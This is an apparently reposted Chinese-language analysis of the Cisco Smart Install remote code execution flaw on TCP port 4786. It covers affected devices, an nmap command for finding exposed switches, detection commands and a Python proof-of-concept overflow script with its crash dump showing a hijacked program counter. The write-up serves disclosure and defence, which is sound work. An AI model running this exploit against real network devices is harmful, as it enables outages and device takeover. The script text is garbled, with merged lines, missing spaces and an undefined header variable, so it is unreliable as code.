您好,登錄后才能下訂單哦!
怎么進行思科Smart Install的遠程代碼執行漏洞的分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
系統:Cisco IOS,Cisco IOS-XE
供應商:思科
漏洞:緩沖區堆棧溢出漏洞[CWE-20][CWE-21]
危害:高危,AV:N/AC:L/Au:N/C:C/I:C/A:C (10.0)
研究人員在 Smart Install Client 代碼中發現一個緩沖區堆棧溢出漏洞。攻擊者利用這個漏洞可以不經身份驗證遠程執行任意代碼。也就是說,攻擊者能夠完全控制受漏洞影響的網絡設備。
Smart Install 功能是部署交換機的即插即用配置和鏡像管理功能。它自動完成初始化,并為新的網絡交換器加載當前操作系統的鏡像。這意味著用戶能夠將一個交換器發送到另一個地址放置在網絡中,在無配置和管理員的情況下啟動交換機。當設備配置發生變化或者熱插拔損壞的設備時,這個技術還為配置提供了備份。
一個使用了 Smart Install 的網絡包含了一組網絡設備,被稱為客戶端(client),它們由一個三層交換器或者路由器來提供服務,作為它們的 director。
Director 為客戶端交換器提供了一個用于鏡像和配置的單點管理。客戶端交換器與 director 直接或間接地連接,因此能夠收到下載的鏡像和配置。
通過官方文檔可以了解更多關于 Smart Install 技術的信息。
值得注意的是,Smart Install 客戶端是默認開啟的,因此漏洞影響覆蓋范圍和危害性不言而喻,重點將在后文論述。
SMI IBC Server Process 進程中包含了 Smart Install Client的實現代碼。Smart Install Client在TCP(4786)端口上開啟服務(默認開啟),用來與 Smart Install Director 交互。
當服務處理一段特殊構造的惡意信息 ibd_init_discovery_msg,就發生了緩沖區堆棧溢出。
更具體地說,這個溢出發生在 smi_ibc_handle_ibd_init_discovery_msg,
因為沒有檢查拷貝到固定大小緩沖區的數據尺寸。大小和數據是直接從網絡數據包中獲得的,并由攻擊者控制。
來自安全公司 Embedi 的白帽黑客George Nosenko 在 GeekPwn2017 黑客大賽香港站使用成功演示了這個漏洞,獲得“最佳技術獎”,獎金總計 25 萬元。
根據大賽提出的場景要求,選手需要在思科 Catalyst 2960 交換機上完成以下兩個挑戰:
1、重置或者替換 enable 密碼,獲得 EXEC 模式權限:
https://v.qq.com/x/page/z0616f2f7q8.html
2、劫持交換器與其他設備間的網絡流量:
https://v.qq.com/x/page/y0616rq52ca.html
更多技術細節和漏洞利用編寫可以從“How To Cook Cisco”一文中了解。
如果你的思科網絡設備有一個開放的 TCP 4786 端口,那么它會受到漏洞影響。你可以通過掃描找到這樣的設備:
nmap -pT:4786 192.168.1.0/24
檢測網絡設備是否有 Smart Install Client 功能,可以嘗試執行以下命令:
switch>showvstack config
Role:Client (SmartInstall enabled)
VstackDirector IP address: 0.0.0.0
switch>showtcp brief all
TCBLocal Address Foreign Address (state)
0344B794*.4786 *.* LISTEN
0350A018*.443 *.* LISTEN
03293634*.443 *.* LISTEN
03292D9C*.80 *.* LISTEN
03292504*.80 *.* LISTEN
當在我們發現這個漏洞,認為它只能被用于企業內部攻擊。因為安全配置的網絡中 Smart Install 技術是不能通過互聯網訪問的。
但是通過網絡掃描之后,我們發現情況并不是這樣子的。
在短暫的網絡掃描之后,我們立刻發現了大約250000 有漏洞的設備以及 850 萬漏洞端口開放的設備。
或許這是由于 Smart Install 客戶端端口 TCP(4786)默認開放,而且網絡管理員并沒有意識到其中可能存在的安全問題。
經驗證存在漏洞的設備包括:Catalyst 4500Supervisor Engines、Cisco Catalyst 3850 SeriesSwitches 和 CiscoCatalyst 2960 Series Switches。
Cisco Catalyst 4500 SupervisorEngine 6L-E
Cisco IOS 15.2.2E6 (Latest,Suggested)
cat4500e-entservicesk9-mz.152-2.E6.bin(23-DEC-2016)
Cisco Catalyst 2960-48TT-L Switch
Cisco IOS 12.2(55)SE11 (Suggested)
c2960-lanbasek9-mz.122-55.SE11.bin(18-AUG-2016)
Cisco IOS 15.0.2-SE10a (Latest)
c2960-lanbasek9-mz.150-2.SE10a.bin(10-NOV-2016)
Cisco Catalyst 3850-24P-E Switch
Cisco IOS-XE 03.03.05.SE
cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin(03-NOV-2014)
此外,所有具備 Smart Install Client 的設備都可能受到漏洞影響,包括下列:
Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs
更多信息,可以查詢:
CiscoSecurity Advisory
Cisco Feature Navigator
Supported Devices for Smart Install
#smi_ibc_init_discovery_BoF.py
importsocket
importstruct
fromoptparse import OptionParser
# Parsethe target options
parser =OptionParser()
parser.add_option("-t","--target", dest="target", help="Smart InstallClient", de
fault="192.168.1.1")parser.add_option("-p", "--port", dest="port",type="int", h
elp="Portof Client", default=4786) (options, args) = parser.parse_args()
defcraft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt,t) + struct.pack(l_fmt, len(v)) + v
defsend_packet(sock, packet):
sock.send(packet)
defreceive(sock):
returnsock.recv()
if__name__ == "__main__":
print"[*] Connecting to Smart Install Client ", options.target,"port", optio
ns.port
con =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target,options.port))
payload= 'BBBB' * 44 shellcode = 'D' * 2048
data ='A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payl
oad
tlv_1 =craft_tlv(0x00000001, data) tlv_2 = shellcode
pkt =hdr + tlv_1 + tlv_2
print"[*] Send a malicious packet" send_packet(con, pkt)
攻擊命令:
host$./smi_ibc_init_discovery_BoF.py -t 192.168.1.1
交換機應當報錯并重啟:
0
-Traceback=42424240
Writingcrashinfo to flash:/crashinfo_ext/crashinfo_ext_15
===Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:
...
Queuedmessages:
CiscoIOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELE
ASESOFTWARE
(fc3)
TechnicalSupport: http://www.cisco.com/techsupport
Copyright(c) 1986-2016 by Cisco Systems, Inc.
CompiledWed 17-Aug-16 13:46 by prod_rel_team
InstructionTLB Miss Exception (0x1200)!
SRR0 =0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
ESR =0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
CPURegister Context:
Vector =0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
LR =0x42424242 CTR = 0x014D5268 XER = 0xC000006A
R0 =0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
R4 =0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
R8 =0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
R12 =0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
R16 =0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
R20 =0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
R24 =0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
R28 =0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
Stacktrace:
PC =0x42424240, SP = 0x02B1B0B0
Frame00: SP = 0x42424242 PC = 0x42424242
關于怎么進行思科Smart Install的遠程代碼執行漏洞的分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。